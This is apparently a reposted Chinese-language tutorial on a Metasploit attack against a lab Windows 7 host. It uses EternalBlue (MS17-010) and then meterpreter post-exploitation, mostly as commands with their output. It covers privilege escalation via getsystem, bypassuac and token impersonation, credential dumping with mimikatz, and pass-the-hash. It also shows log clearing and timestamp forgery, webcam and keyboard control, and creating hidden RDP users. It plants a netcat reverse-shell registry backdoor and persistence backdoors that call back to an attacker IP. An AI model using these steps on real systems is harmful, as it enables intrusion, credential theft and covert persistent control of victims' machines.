msf滲透過程實例


msf利用系統漏洞利用過程:

過程概括:

1、天鏡、nessus、極光掃描器、nmap進行漏洞掃描,跟據漏掃結果去msf里面進行查找漏洞利用工具
2、打開msf 通過search搜漏洞編號或漏洞名稱
3、搜到漏洞之后,用use 打開對應msf漏洞利用工具
4、輸入info查看工具相關說明,與攻擊目標的系統版本是否匹配

5、配置受害者ip set rhosts  /set rport set payload
6、用show options 查看工具使用方法和已配置詳情
7、攻擊run 或者exploit
8、溢出成功后,如果對方主機是普通用戶權限,那么我們用msf里面的getsystem提升權限或者調用exploit/windows/local/bypassuac進行提權(提權有竊取令牌、假冒令牌、操作系統漏洞、getsystem)
9、當我們提權成功之后獲取對方主機管理員用戶帳號和密碼(load mimikatz   wdigest)
10、開啟rdp&添加用戶(run getgui -e #開啟遠程桌面   run getgui -u lltest2 -p 123456   #添加用戶)

實例:

天境等系統掃描器進行漏洞掃描,根據漏掃結果去msf里面進行查找漏洞利用工具

檢測到某window7主機有ms17_010病毒

打開msf

root@dazhu:~# msfconsole

                                                  

     ,           ,

    /             \

   ((__---,,,---__))

      (_) O O (_)_________

通過search搜索漏洞編號或者漏洞名稱:

msf5 > search ms17_010

搜到漏洞后,用use打開 msf漏洞利用工具

2  exploit/windows/smb/ms17_010_eternalblue       2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption

msf5 > use 2或/windows/smb/ms17_010_eternalblue
 
        

輸入info查看工具相關說明

msf5 exploit(windows/smb/ms17_010_eternalblue) > info

 

       Name: MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption

     Module: exploit/windows/smb/ms17_010_eternalblue

   Platform: Windows

       Arch:

 Privileged: Yes

    License: Metasploit Framework License (BSD)

       Rank: Average

  Disclosed: 2017-03-14

 

Provided by:

  Sean Dillon <sean.dillon@risksense.com>

  Dylan Davis <dylan.davis@risksense.com>

  Equation Group

  Shadow Brokers

  thelightcosine

 

Available targets:

  Id  Name

  --  ----

  0   Windows 7 and Server 2008 R2 (x64) All Service Packs

可以進一步根據我們攻擊目標的系統版本號進行set target init

配置受害者主機地址建立連接

set rhosts/set rport /set payload

msf5 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 192.168.17.72

rhosts => 192.168.17.72

ps:雖然端口一般默認,但是實際生產中端口會被運維人員改動隱藏。
1.不確定端口時,查看端口方式:url有顯示

2.telent端口與看是否返回對應敏感信息

查到后,set rport 端口號進行測試

show options查看工具使用方法,主要是查看配置方法

msf5 exploit(windows/smb/ms17_010_eternalblue) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):

   Name           Current Setting  Required  Description

   ----           ---------------  --------  -----------

   RHOSTS         192.168.17.72    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

   RPORT          445              yes       The target port (TCP)

   SMBDomain      .                no        (Optional) The Windows domain to use for authentication

   SMBPass                         no        (Optional) The password for the specified username

   SMBUser                         no        (Optional) The username to authenticate as

   VERIFY_ARCH    true             yes       Check if remote architecture matches exploit Target.

   VERIFY_TARGET  true             yes       Check if remote OS matches exploit Target.

Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description

   ----      ---------------  --------  -----------

   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)

   LHOST     192.168.17.74    yes       The listen address (an interface may be specified)

   LPORT     4444             yes       The listen port

Exploit target:

   Id  Name

   --  ----

   0   Windows 7 and Server 2008 R2 (x64) All Service Packs(適用於windows7)

因為自動設置了木馬程序,所以這里不再設置:set payload .......(這里建議使用反向鏈接木馬,也就是自動給我們匹配的reverse_tcp),畢竟沒有那個目標主機說是不開防火牆等着我們去攻擊的事吧!

開始進行攻擊:

msf5 exploit(windows/smb/ms17_010_eternalblue) > exploit或者run

 

[*] Started reverse TCP handler on 192.168.17.74:4444

[*] 192.168.17.72:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check

[+] 192.168.17.72:445     - Host is likely VULNERABLE to MS17-010! - Windows 7 Enterprise 7601 Service Pack 1 x64 (64-bit)

[!] 192.168.17.72:445     - Host is likely INFECTED with DoublePulsar! - Arch: x64 (64-bit), XOR Key: 0x6C2BD0E0

[*] 192.168.17.72:445     - Scanned 1 of 1 hosts (100% complete)

[*] 192.168.17.72:445 - Connecting to target for exploitation.

進入遠程控制會話行,后滲透過程:

meterpreter > shell(后滲透之meterpreter可以支持多個命令,參考https://xz.aliyun.com/t/2536#toc-11)

Process 4496 created.

Channel 1 created.

Microsoft Windows [�汾 6.1.7601]

��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ����


C:\Windows\system32>netsat an進入了受害主機Windows7命令行

后滲透過程之:meterpreter

Metasploit中的Meterpreter模塊在后滲透階段具有強大的攻擊力!

系統命令

基本系統命令

sessions    #sessions –h 查看幫助
sessions -i <ID值>  #進入會話   -k  殺死會話
background  #將當前會話放置后台
run  #執行已有的模塊,輸入run后按兩下tab,列出已有的腳本
info #查看已有模塊信息
getuid # 查看權限 
getpid # 獲取當前進程的pid
sysinfo # 查看目標機系統信息
ps # 查看當前活躍進程    kill <PID值> 殺死進程
idletime #查看目標機閑置時間
reboot / shutdown   #重啟/關機
shell #進入目標機cmd shell

例如:

查看進程:ps

meterpreter > ps

Process List
============

 PID   PPID  Name                   Arch  Session  User                          Path
 ---   ----  ----                   ----  -------  ----                          ----
 0     0     [System Process]                                                    
 4     0     System                 x64   0                                      
 268   4     smss.exe               x64   0        NT AUTHORITY\SYSTEM           \SystemRoot\System32\smss.exe
 356   348   csrss.exe              x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\csrss.exe
 372   512   svchost.exe            x64   0        NT AUTHORITY\LOCAL SERVI

獲取目標主機的cmd shell

shell命令可以進入目標主機的cmd

命令:

  1. shell 
  2. meterpreter > shell
    Process 9196 created.
    Channel 2 created.
    Microsoft Windows [�汾 6.1.7601]
    ��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ����
    
    C:\Windows\system32>

execute執行文件

execute #在目標機中執行文件
execute -H -i -f cmd.exe # 創建新進程cmd.exe,-H不可見,-i交互

timestomp偽造時間戳

timestomp C:// -h   #查看幫助
timestomp -v C://2.txt   #查看時間戳
timestomp C://2.txt -f C://1.txt #將1.txt的時間戳復制給2.txt

其他系統命令

uictl開關鍵盤/鼠標
webcam攝像頭命令
migrate進程遷移
clearav清除日志

提權

(提升當前用戶的權限,Windows系統中最高權限為system。且只用system權限才能直接讀取其他用戶的用戶名和密碼)

getuid獲得當前用戶的權限信息

getuid

剛遠程登陸,默認獲取當前用戶權限

meterpreter > getuid                                                                                                                                                                                                     
Server username: NT AUTHORITY\SYSTEM    

getsystem提權

getsystem工作原理:
①getsystem創建一個新的Windows服務,設置為SYSTEM運行,當它啟動時連接到一個命名管道。
②getsystem產生一個進程,它創建一個命名管道並等待來自該服務的連接。
③Windows服務已啟動,導致與命名管道建立連接。
④該進程接收連接並調用ImpersonateNamedPipeClient,從而為SYSTEM用戶創建模擬令牌。
然后用新收集的SYSTEM模擬令牌產生cmd.exe,並且我們有一個SYSTEM特權進程。

meterpreter > getsystem                                                                                                                                                                                                  
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).

meterpreter > getuid 
Server username: NT AUTHORITY\SYSTEM

 
        

bypassuac

內置多個pypassuac腳本,原理有所不同,使用方法類似(相當於執行現在系統內的bypassuac腳本獲得權限),運行后返回一個新的會話,需要再次執行getsystem獲取系統權限,如:

meterpreter > background
[*] Backgrounding session 4... msf5 exploit(windows/smb/ms17_010_eternalblue) > use exploit/windows/local/bypassuac [*] Using configured payload windows/meterpreter/reverse_tcp msf5 exploit(windows/local/bypassuac) > sessions -i Active sessions =============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 2 meterpreter x64/windows NT AUTHORITY\SYSTEM @ DAZHU-PC 192.168.17.74:4444 -> 192.168.17.72:3365 (192.168.17.72) 3 meterpreter x64/windows NT AUTHORITY\SYSTEM @ DAZHU-PC 192.168.17.74:4444 -> 192.168.17.72:4646 (192.168.17.72) 4 meterpreter x64/windows NT AUTHORITY\SYSTEM @ DAZHU-PC 192.168.17.74:4444 -> 192.168.17.72:4886 (192.168.17.72) msf5 exploit(windows/local/bypassuac) > set sessions 2 sessions => 2 msf5 exploit(windows/local/bypassuac) > run [-] Exploit failed: One or more options failed to validate: SESSION.(因為已經是最高權限,所以提權失敗。) [*] Exploit completed, but no session was created. msf5 exploit(windows/local/bypassuac) > 

內核漏洞提權

可先利用enum_patches模塊 收集補丁信息,然后查找可用的exploits進行提權

meterpreter > run post/windows/gather/enum_patches  #查看補丁信息
msf > use exploit/windows/local/ms13_053_schlamperei msf > set SESSION 2 msf > exploit

返回后台運行會話

msf5 exploit(windows/local/bypassuac) > back
msf5 > sessions -i 2 [*] Starting interaction with 2... meterpreter > 

令牌操作

incognito假冒令牌

use incognito      #help incognito  查看幫助
list_tokens -u #查看可用的token impersonate_token 'NT AUTHORITY\SYSTEM' #假冒SYSTEM token 或者impersonate_token NT\ AUTHORITY\\SYSTEM #不加單引號 需使用\\ execute -f cmd.exe -i –t # -t 使用假冒的token 執行 或者直接shell rev2self #返回原始token

steal_token竊取令牌

steal_token <pid值>   #從指定進程中竊取token   先ps
drop_token  #刪除竊取的token

mimikatz抓取密碼

獲取密碼后可能被用來在其他系統或者網站使用

load mimikatz    #help mimikatz 查看幫助
wdigest  #獲取Wdigest密碼
mimikatz_command -f samdump::hashes #執行mimikatz原始命令 直接讀取哈希值 mimikatz_command -f sekurlsa::searchPasswords
meterpreter > load mimikatz
Loading extension mimikatz...[!] Loaded Mimikatz on a newer OS (Windows 7 (6.1 Build 7601, Service Pack 1).). Did you mean to 'load kiwi' instead? Success. meterpreter > wdigest [+] Running as SYSTEM [*] Retrieving wdigest credentials wdigest credentials =================== AuthID Package Domain User Password ------ ------- ------ ---- -------- 0;951153 NTLM dazhu-PC Administrator 0;997 Negotiate NT AUTHORITY LOCAL SERVICE 0;996 Negotiate WORKGROUP DAZHU-PC$ 0;50607 NTLM 0;999 NTLM WORKGROUP DAZHU-PC$ 0;103061 NTLM dazhu-PC vscan_tj vsacn_tj_1602719439_ll meterpreter > 

工具破解

ophcrack破解哈希值

掛載字典

導入文件

哈希利用

獲取哈希

run post/windows/gather/smart_hashdump  #從SAM導出密碼哈希
#需要SYSTEM權限

PSExec哈希傳遞

通過smart_hashdump獲取用戶哈希后,可以利用psexec模塊進行哈希傳遞攻擊
前提條件:①開啟445端口 smb服務;②開啟admin$共享

msf > use exploit/windows/smb/psexec(使用psexec溢出攻擊方式)
msf > set payload windows/meterpreter/reverse_tcp(設置reverse_tcp木馬)
msf > set LHOST 192.168.159.134
msf > set LPORT 443
msf > set RHOSTS 192.168.159.144建立連接
msf >set SMBUser Administrator
msf >set SMBPass aad3b4*****04ee:5b5f00*****c424c
msf >set SMBDomain  WORKGROUP   #域用戶需要設置SMBDomain
msf >exploit

文件系統命令

基本文件系統命令

命令1.上傳文件到受害者主機

簡單來說,你可以上傳本機的任意文件到遠程目標主機中。

命令:

  1. upload <file> <destination> 

注意:使用-r參數可以遞歸上傳上傳目錄和文件

 

meterpreter > upload //mnt//PcShare2.exe c:\\pcshare2.exe(上傳)
[*] uploading  : //mnt//PcShare2.exe -> c:\pcshare2.exe
[*] Uploaded 34.50 KiB of 34.50 KiB (100.0%): //mnt//PcShare2.exe -> c:\pcshare2.exe
[*] uploaded   : //mnt//PcShare2.exe -> c:\pcshare2.exe

 

命令2.從windows主機下載文件

download命令可以下載遠程主機上的文件

命令:

  1. download <file> <path to save> 

注意:Windows路徑要使用雙斜線

如果我們需要遞歸下載整個目錄包括子目錄和文件,我們可以使用download -r命令

 

格式與upload相同,文件路徑先后相反

 

命令3:在目標主機上執行exe文件

我們也可以使用execute命令在目標主機上執行應用程序

語法也非常簡單

命令:

  1. execute -f <path> [options] (-f代表強制執行)
  2. meterpreter > execute -f c:\\pcshare2.exe(執行遠程桌面控制代碼)
    Process 9024 created.

 

 

正確寫法是:   execute -f c://1.exe

 

 

 可以看都受害者主機已經被神不知鬼不覺地遠程控制

命令4(執行(創建)新的cmd通道)

如果你想在目標主機上執行命令提示符,你可以使用下列命令:

命令:

  1. shell(之前已經演示過)
  2. execute -f cmd -c (打開一個新的cmd通道)
  3. meterpreter > execute -f cmd -c
    Process 9080 created.
    Channel 1 created.
    meterpreter > 

開啟rdp&添加用戶

getgui命令

run getgui –h #查看幫助
run getgui -e #開啟遠程桌面 run getgui -u lltest2 -p 123456 #添加用戶 run getgui -f 6661 –e #3389端口轉發到6661

getgui 系統不推薦,推薦使用run post/windows/manage/enable_rdp
getgui添加用戶時,有時雖然可以成功添加用戶,但是沒有權限通過遠程桌面登陸

enable_rdp腳本

run post/windows/manage/enable_rdp  #開啟遠程桌面
run post/windows/manage/enable_rdp USERNAME=haha PASSWORD=123456 #添加用戶 run post/windows/manage/enable_rdp FORWARD=true LPORT=6662 #將3389端口轉發到6662

腳本位於/usr/share/metasploit-framework/modules/post/windows/manage/enable_rdp.rb
通過enable_rdp.rb腳本可知:開啟rdp是通過reg修改注冊表;添加用戶是調用cmd.exe 通過net user添加;端口轉發是利用的portfwd命令

sniffer抓包

use sniffer
sniffer_interfaces   #查看網卡
sniffer_start 2   #選擇網卡 開始抓包
sniffer_stats 2   #查看狀態
sniffer_dump 2 /tmp/lltest.pcap  #導出pcap數據包
sniffer_stop 2   #停止抓包

注冊表操作

注冊表基本命令

reg –h
    -d   注冊表中值的數據.    -k   注冊表鍵路徑    -v   注冊表鍵名稱
    enumkey 枚舉可獲得的鍵    setval 設置鍵值    queryval 查詢鍵值數據

注冊表設置nc后門

upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32 #上傳nc
reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run   #枚舉run下的key
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v lltest_nc -d 'C:\windows\system32\nc.exe -Ldp 443 -e cmd.exe' #設置鍵值
reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v lltest_nc   #查看鍵值

nc -v 192.168.159.144 443  #攻擊者連接nc后門

后門植入

metasploit自帶的后門有兩種方式啟動的,一種是通過啟動項啟動(persistence),一種是通過服務啟動(metsvc),另外還可以通過persistence_exe自定義后門文件。

persistence啟動項后門

在C:\Users***\AppData\Local\Temp\目錄下,上傳一個vbs腳本
在注冊表HKLM\Software\Microsoft\Windows\CurrentVersion\Run\加入開機啟動項

run persistence –h  #查看幫助
run persistence -X -i 5 -p 6661 -r 192.168.159.134
#-X指定啟動的方式為開機自啟動,-i反向連接的時間間隔(5s) –r 指定攻擊者的ip

連接后門

msf > use exploit/multi/handler
msf > set payload windows/meterpreter/reverse_tcp
msf > set LHOST 192.168.159.134
msf > set LPORT 6661
msf > exploit

metsvc服務后門

在C:\Users***\AppData\Local\Temp\上傳了三個文件(metsrv.x86.dll、metsvc-server.exe、metsvc.exe),通過服務啟動,服務名為meterpreter

run metsvc –h   # 查看幫助
run metsvc –A   #自動安裝后門

連接后門

msf > use exploit/multi/handler
msf > set payload windows/metsvc_bind_tcp
msf > set RHOST 192.168.159.144
msf > set LPORT 31337
msf > exploit

掃描腳本

掃描的腳本位於:
/usr/share/metasploit-framework/modules/auxiliary/scanner/
掃描的腳本較多,僅列幾個代表:

use auxiliary/scanner/http/dir_scanner
use auxiliary/scanner/http/jboss_vulnscan
use auxiliary/scanner/mssql/mssql_login
use auxiliary/scanner/mysql/mysql_version
use auxiliary/scanner/oracle/oracle_login

遠程桌面&截屏

enumdesktops  #查看可用的桌面
getdesktop    #獲取當前meterpreter 關聯的桌面
set_desktop   #設置meterpreter關聯的桌面  -h查看幫助
screenshot  #截屏
use espia  #或者使用espia模塊截屏  然后輸入screengrab
run vnc  #使用vnc遠程桌面連
meterpreter > getdesktop
Session 0\W\D
meterpreter > screenshot
Screenshot saved to: /root/yllvlUli.jpeg
meterpreter > run vnc
[*] Creating a VNC reverse tcp stager: LHOST=192.168.17.74 LPORT=4545
[*] Running payload handler
[*] VNC stager executable 73802 bytes long
[*] Uploaded the VNC agent to C:\Windows\TEMP\RwwuHn.exe (must be deleted m
[*] Executing the VNC agent with endpoint 192.168.17.74:4545...
meterpreter > Connected to RFB server, using protocol version 3.8

參考:

https://xz.aliyun.com/t/2536#toc-6
https://null-byte.wonderhowto.com/how-to/hack-like-pro-ultimate-command-cheat-sheet-for-metasploits-meterpreter-0149146/
https://thehacktoday.com/metasploit-commands/
https://www.offensive-security.com/metasploit-unleashed/fun-incognito/
https://www.offensive-security.com/metasploit-unleashed/persistent-netcat-backdoor/
https://www.offensive-security.com/metasploit-unleashed/privilege-escalation/
http://www.hackingarticles.in/7-ways-to-privilege-escalation-of-windows-7-pc-bypass-uac/
https://www.offensive-security.com/metasploit-unleashed/psexec-pass-hash/
http://wooyun.jozxing.cc/static/drops/tips-2227.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM